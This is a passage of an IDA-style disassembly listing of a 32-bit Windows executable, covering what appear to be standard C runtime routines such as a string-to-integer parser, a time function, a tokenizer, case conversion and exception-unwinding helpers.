loc_4152B4:				; CODE XREF: sub_41524A+65j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_4153F9
		cmp	eax, 1
		jz	loc_4153F9
		cmp	eax, 24h
		jg	loc_4153F9
		test	eax, eax
		push	10h
		pop	ecx
		jnz	short loc_4152FC
		cmp	bl, 30h
		jz	short loc_4152E6
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_415314
; ---------------------------------------------------------------------------


loc_4152E6:				; CODE XREF: sub_41524A+91j
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_4152F9
		cmp	al, 58h
		jz	short loc_4152F9
		mov	[ebp+arg_8], 8
		jmp	short loc_415314
; ---------------------------------------------------------------------------


loc_4152F9:				; CODE XREF: sub_41524A+A0j
					; sub_41524A+A4j
		mov	[ebp+arg_8], ecx


loc_4152FC:				; CODE XREF: sub_41524A+8Cj
		cmp	[ebp+arg_8], ecx
		jnz	short loc_415314
		cmp	bl, 30h
		jnz	short loc_415314
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_415310
		cmp	al, 58h
		jnz	short loc_415314


loc_415310:				; CODE XREF: sub_41524A+C0j
		inc	edi
		mov	bl, [edi]
		inc	edi


loc_415314:				; CODE XREF: sub_41524A+9Aj
					; sub_41524A+ADj ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]


loc_41531C:				; CODE XREF: sub_41524A+134j
		mov	esi, off_42DEA0
		movzx	ecx, bl
		mov	cx, [esi+ecx*2]
		test	cl, 4
		jz	short loc_415336
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_415355
; ---------------------------------------------------------------------------


loc_415336:				; CODE XREF: sub_41524A+E2j
		test	cx, 103h
		jz	short loc_415380
		cmp	bl, 61h
		jl	short loc_41534F
		cmp	bl, 7Ah
		jg	short loc_41534F
		movsx	ecx, bl
		sub	ecx, 20h
		jmp	short loc_415352
; ---------------------------------------------------------------------------


loc_41534F:				; CODE XREF: sub_41524A+F6j
					; sub_41524A+FBj
		movsx	ecx, bl


loc_415352:				; CODE XREF: sub_41524A+103j
		add	ecx, 0FFFFFFC9h


loc_415355:				; CODE XREF: sub_41524A+EAj
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_415380
		or	[ebp+arg_C], 8
		cmp	[ebp+var_4], eax
		jb	short loc_41536F
		jnz	short loc_415369
		cmp	ecx, edx
		jbe	short loc_41536F


loc_415369:				; CODE XREF: sub_41524A+119j
		or	[ebp+arg_C], 4
		jmp	short loc_41537B
; ---------------------------------------------------------------------------


loc_41536F:				; CODE XREF: sub_41524A+117j
					; sub_41524A+11Dj
		mov	esi, [ebp+var_4]
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_4], esi


loc_41537B:				; CODE XREF: sub_41524A+123j
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41531C
; ---------------------------------------------------------------------------


loc_415380:				; CODE XREF: sub_41524A+F1j
					; sub_41524A+10Ej
		mov	eax, [ebp+arg_C]
		dec	edi
		test	al, 8
		jnz	short loc_415397
		cmp	[ebp+arg_4], 0
		jz	short loc_415391
		mov	edi, [ebp+arg_0]


loc_415391:				; CODE XREF: sub_41524A+142j
		and	[ebp+var_4], 0
		jmp	short loc_4153E2
; ---------------------------------------------------------------------------


loc_415397:				; CODE XREF: sub_41524A+13Cj
		test	al, 4
		mov	esi, 7FFFFFFFh
		jnz	short loc_4153BB
		test	al, 1
		jnz	short loc_4153E2
		and	eax, 2
		jz	short loc_4153B2
		cmp	[ebp+var_4], 80000000h
		ja	short loc_4153BB


loc_4153B2:				; CODE XREF: sub_41524A+15Dj
		test	eax, eax
		jnz	short loc_4153E2
		cmp	[ebp+var_4], esi
		jbe	short loc_4153E2


loc_4153BB:				; CODE XREF: sub_41524A+154j
					; sub_41524A+166j
		call	sub_419600
		test	byte ptr [ebp+arg_C], 1
		mov	dword ptr [eax], 22h
		jz	short loc_4153D2
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4153E2
; ---------------------------------------------------------------------------


loc_4153D2:				; CODE XREF: sub_41524A+180j
		mov	al, byte ptr [ebp+arg_C]
		and	al, 2
		neg	al
		sbb	eax, eax
		neg	eax
		add	eax, esi
		mov	[ebp+var_4], eax


loc_4153E2:				; CODE XREF: sub_41524A+14Bj
					; sub_41524A+158j ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4153EB
		mov	[eax], edi


loc_4153EB:				; CODE XREF: sub_41524A+19Dj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_4153F4
		neg	[ebp+var_4]


loc_4153F4:				; CODE XREF: sub_41524A+1A5j
		mov	eax, [ebp+var_4]
		jmp	short loc_415404
; ---------------------------------------------------------------------------


loc_4153F9:				; CODE XREF: sub_41524A+6Fj
					; sub_41524A+78j ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_415402
		mov	[eax], ecx


loc_415402:				; CODE XREF: sub_41524A+1B4j
		xor	eax, eax


loc_415404:				; CODE XREF: sub_41524A+1ADj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41524A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415409	proc near		; CODE XREF: sub_403C3B+440p
					; sub_408A18+27FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41524A
		add	esp, 10h
		retn
sub_415409	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415420	proc near		; CODE XREF: sub_403C3B+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_42015C	; GetSystemTimeAsFileTime
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		push	0
		add	eax, 2AC18000h
		push	989680h
		adc	ecx, 0FE624E21h
		push	ecx
		push	eax
		call	sub_416160
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short locret_415457
		mov	[ecx], eax

locret_415457:				; CODE XREF: sub_415420+33j
		leave
		retn
sub_415420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415459	proc near		; CODE XREF: sub_4041E2+2Ap
					; sub_404C6A+FDp ...

var_24		= byte ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_42DEA8
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4], eax
		call	sub_416E15
		push	8
		pop	ecx
		mov	[ebp+arg_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_24]
		push	7
		rep stosd
		pop	edi


loc_415485:				; CODE XREF: sub_415459+45j
		mov	dl, [esi]
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+var_24]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_415485
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4154B4
		mov	eax, [ebp+arg_4]
		mov	edx, [eax+18h]
		jmp	short loc_4154B4
; ---------------------------------------------------------------------------


loc_4154AF:				; CODE XREF: sub_415459+72j
		test	al, al
		jz	short loc_4154CD
		inc	edx


loc_4154B4:				; CODE XREF: sub_415459+4Cj
					; sub_415459+54j
		mov	al, [edx]
		movzx	esi, al
		xor	ebx, ebx
		mov	ecx, esi
		and	ecx, edi
		inc	ebx
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	bl, cl
		jnz	short loc_4154AF


loc_4154CD:				; CODE XREF: sub_415459+58j
		mov	ebx, edx
		jmp	short loc_4154E9
; ---------------------------------------------------------------------------


loc_4154D1:				; CODE XREF: sub_415459+93j
		movzx	esi, byte ptr [edx]
		xor	eax, eax
		mov	ecx, esi
		and	ecx, edi
		inc	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	al, cl
		jnz	short loc_4154F0
		inc	edx


loc_4154E9:				; CODE XREF: sub_415459+76j
		cmp	byte ptr [edx],	0
		jnz	short loc_4154D1
		jmp	short loc_4154F4
; ---------------------------------------------------------------------------


loc_4154F0:				; CODE XREF: sub_415459+8Dj
		and	byte ptr [edx],	0
		inc	edx


loc_4154F4:				; CODE XREF: sub_415459+95j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax+18h], edx
		mov	eax, ebx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		xor	ecx, [ebp+4]
		pop	edi
		and	eax, ebx
		pop	esi
		pop	ebx
		call	sub_41A1F6
		leave
		retn
sub_415459	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415514	proc near		; CODE XREF: sub_4155DC+1Ap

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi+14h], 0
		push	edi
		jz	loc_4155C8
		cmp	dword ptr [esi+24h], 0
		jz	short loc_41553A
		cmp	ebx, 7Fh
		jbe	loc_4155C8


loc_41553A:				; CODE XREF: sub_415514+1Bj
		xor	edi, edi
		inc	edi
		cmp	ebx, 100h
		jnb	short loc_415564
		cmp	[esi+28h], edi
		jle	short loc_415557
		push	edi
		push	ebx
		push	esi
		call	sub_417A4B
		add	esp, 0Ch
		jmp	short loc_415560
; ---------------------------------------------------------------------------


loc_415557:				; CODE XREF: sub_415514+34j
		mov	eax, [esi+48h]
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, edi


loc_415560:				; CODE XREF: sub_415514+41j
		test	eax, eax
		jz	short loc_4155D5


loc_415564:				; CODE XREF: sub_415514+2Fj
		mov	edx, [esi+48h]
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_415585
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41558E
; ---------------------------------------------------------------------------


loc_415585:				; CODE XREF: sub_415514+60j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, edi


loc_41558E:				; CODE XREF: sub_415514+6Fj
		push	edi
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	100h
		push	dword ptr [esi+14h]
		call	sub_419E09
		add	esp, 20h
		test	eax, eax
		jz	short loc_4155D5
		cmp	eax, edi
		jnz	short loc_4155BB
		movzx	eax, [ebp+var_4]
		jmp	short loc_4155D7
; ---------------------------------------------------------------------------


loc_4155BB:				; CODE XREF: sub_415514+9Fj
		movzx	ecx, [ebp+var_3]
		xor	eax, eax
		mov	ah, [ebp+var_4]
		or	eax, ecx
		jmp	short loc_4155D7
; ---------------------------------------------------------------------------


loc_4155C8:				; CODE XREF: sub_415514+11j
					; sub_415514+20j
		cmp	ebx, 41h
		jl	short loc_4155D5
		cmp	ebx, 5Ah
		lea	eax, [ebx+20h]
		jle	short loc_4155D7


loc_4155D5:				; CODE XREF: sub_415514+4Ej
					; sub_415514+9Bj ...
		mov	eax, ebx


loc_4155D7:				; CODE XREF: sub_415514+A5j
					; sub_415514+B2j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415514	endp


; =============== S U B	R O U T	I N E =======================================



sub_4155DC	proc near		; CODE XREF: sub_406808+6p
					; sub_406BF3+56p ...

arg_0		= dword	ptr  4

		call	sub_416E15
		mov	eax, [eax+64h]
		cmp	eax, off_42D83C
		jz	short loc_4155F1
		call	sub_417C4E


loc_4155F1:				; CODE XREF: sub_4155DC+Ej
		push	[esp+arg_0]
		push	eax
		call	sub_415514
		pop	ecx
		pop	ecx
		retn
sub_4155DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4155FE	proc near		; CODE XREF: sub_407023+27p
					; sub_407064+4Dp

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_414E51
		pop	ecx
		pop	ecx
		retn
sub_4155FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41560C	proc near		; CODE XREF: sub_41A6C4+60p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41560C	endp

; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41563C	proc near		; CODE XREF: sub_41A33F+25p
					; sub_41A548+149p ...

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41563C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415643	proc near		; CODE XREF: sub_4156EF+5Ap
					; sub_41A6C4:loc_41A6E7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, large fs:0
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], offset loc_41566C
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_41F5A6	; RtlUnwind


loc_41566C:				; DATA XREF: sub_415643+12o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	eax, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edi, large fs:0
		mov	ebx, [ebp+var_4]
		mov	[ebx], edi
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_415643	endp

; ---------------------------------------------------------------------------


loc_415695:				; CODE XREF: .text:0041FBA2j
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41A9CD
		add	esp, 20h
		mov	[ebp-4], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4156CB:				; DATA XREF: sub_41586F+17o
		cld
		mov	eax, [esp+8]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	dword ptr [esp+20h]
		push	dword ptr [eax+0Ch]
		push	dword ptr [esp+20h]
		call	sub_41A9CD
		add	esp, 20h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156EF	proc near		; DATA XREF: sub_4158C0+Bo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_415710
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		xor	eax, eax
		inc	eax
		jmp	short loc_41575D
; ---------------------------------------------------------------------------


loc_415710:				; CODE XREF: sub_4156EF+10j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A9CD
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41574E
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_415643


loc_41574E:				; CODE XREF: sub_4156EF+52j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax


loc_41575D:				; CODE XREF: sub_4156EF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_4156EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415760	proc near		; CODE XREF: sub_41A72B+52p
					; sub_41A7EB+E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi
		jl	short loc_4157B6


loc_41577E:				; CODE XREF: sub_415760+51j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_415788
		call	sub_41AAA4


loc_415788:				; CODE XREF: sub_415760+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		lea	eax, [ebx+eax*4]
		cmp	[eax+4], ecx
		jge	short loc_41579C
		cmp	ecx, [eax+8]
		jle	short loc_4157A1


loc_41579C:				; CODE XREF: sub_415760+35j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4157AD


loc_4157A1:				; CODE XREF: sub_415760+3Aj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_4157AD:				; CODE XREF: sub_415760+3Fj
		cmp	[ebp+arg_4], 0
		jge	short loc_41577E
		mov	eax, [ebp+var_4]


loc_4157B6:				; CODE XREF: sub_415760+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_4157CA
		cmp	esi, eax
		jbe	short loc_4157CF


loc_4157CA:				; CODE XREF: sub_415760+64j
		call	sub_41AAA4


loc_4157CF:				; CODE XREF: sub_415760+68j
		pop	edi
		lea	eax, [esi+esi*4]
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_415760	endp


; =============== S U B	R O U T	I N E =======================================



sub_4157DA	proc near		; CODE XREF: sub_41A3A1+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		call	sub_416E15
		mov	eax, [eax+84h]
		mov	[esi+4], eax
		call	sub_416E15
		mov	[eax+84h], esi
		mov	eax, esi
		pop	esi
		retn
sub_4157DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_415802	proc near		; CODE XREF: sub_41A4E4+4Bp

arg_0		= dword	ptr  4

		call	sub_416E15
		mov	eax, [eax+84h]
		jmp	short loc_41581A
; ---------------------------------------------------------------------------


loc_41580F:				; CODE XREF: sub_415802+1Aj
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short loc_415820
		mov	eax, [eax+4]


loc_41581A:				; CODE XREF: sub_415802+Bj
		test	eax, eax
		jnz	short loc_41580F
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_415820:				; CODE XREF: sub_415802+13j
		xor	eax, eax
		retn
sub_415802	endp


; =============== S U B	R O U T	I N E =======================================



sub_415823	proc near		; CODE XREF: sub_41A4E4+9p

arg_0		= dword	ptr  4

		push	esi
		call	sub_416E15
		mov	esi, [esp+4+arg_0]
		cmp	esi, [eax+84h]
		jnz	short loc_415845
		call	sub_416E15
		mov	ecx, [esi+4]
		mov	[eax+84h], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415845:				; CODE XREF: sub_415823+10j
		call	sub_416E15
		mov	eax, [eax+84h]
		jmp	short loc_41585B
; ---------------------------------------------------------------------------


loc_415852:				; CODE XREF: sub_415823+3Cj
		mov	ecx, [eax+4]
		cmp	esi, ecx
		jz	short loc_415867
		mov	eax, ecx


loc_41585B:				; CODE XREF: sub_415823+2Dj
		cmp	dword ptr [eax+4], 0
		jnz	short loc_415852
		pop	esi
		jmp	sub_41AAA4
; ---------------------------------------------------------------------------


loc_415867:				; CODE XREF: sub_415823+34j
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		pop	esi
		retn
sub_415823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41586F	proc near		; CODE XREF: sub_41A3A1+71p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+var_10], offset loc_4156CB
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41AAE0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41586F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4158C0	proc near		; CODE XREF: sub_41A72B+33p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4156EF
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_415943
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	sub_416E15
		call	dword ptr [eax+74h]
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_415943:				; DATA XREF: sub_4158C0+3Ao
		cmp	[ebp+var_4], 0
		jz	short loc_415960
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_415969
; ---------------------------------------------------------------------------


loc_415960:				; CODE XREF: sub_4158C0+87j
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_415969:				; CODE XREF: sub_4158C0+9Ej
		mov	eax, [ebp+var_34]
		pop	ebx
		leave
		retn
sub_4158C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415970	proc near		; CODE XREF: sub_41D0A0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_415988
		push	[ebp+arg_0]
		call	sub_41F5A6	; RtlUnwind


loc_415988:				; DATA XREF: sub_415970+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_415970	endp


; =============== S U B	R O U T	I N E =======================================



sub_415990	proc near		; DATA XREF: sub_4159B2+Ao
					; sub_415A1A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4159B1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4159B1:				; CODE XREF: sub_415990+10j
		retn
sub_415990	endp


; =============== S U B	R O U T	I N E =======================================



sub_4159B2	proc near		; CODE XREF: sub_41D0A0+67p
					; sub_41D0A0+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_415990
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4159CF:				; CODE XREF: sub_4159B2:loc_415A0Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_415A0C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_415A0C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_415A0A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_415A46
		call	dword ptr [ebx+esi*4+8]


loc_415A0A:				; CODE XREF: sub_4159B2+44j
		jmp	short loc_4159CF
; ---------------------------------------------------------------------------


loc_415A0C:				; CODE XREF: sub_4159B2+2Aj
					; sub_4159B2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4159B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A1A	proc near		; CODE XREF: sub_41A4E4+55p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_415990
		jnz	short locret_415A3C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_415A3C
		mov	eax, 1

locret_415A3C:				; CODE XREF: sub_415A1A+10j
					; sub_415A1A+1Bj
		retn
sub_415A1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A3D	proc near		; CODE XREF: sub_41AAE0+1Ep
					; sub_41AAE0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42D7B0
		jmp	short loc_415A50
sub_415A3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_415A46	proc near		; CODE XREF: sub_4159B2+4Fp
					; sub_41D0A0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42D7B0
		mov	ecx, [ebp+8]


loc_415A50:				; CODE XREF: sub_415A3D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_415A46	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415A60	proc near		; CODE XREF: sub_407064+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_415A60	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_415A90


loc_415A80:				; CODE XREF: sub_415A90+1Fj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_415A90
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415A90	proc near		; CODE XREF: sub_4070E5+21p
					; sub_407820+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00415A80 SIZE 00000005 BYTES

		xor	eax, eax
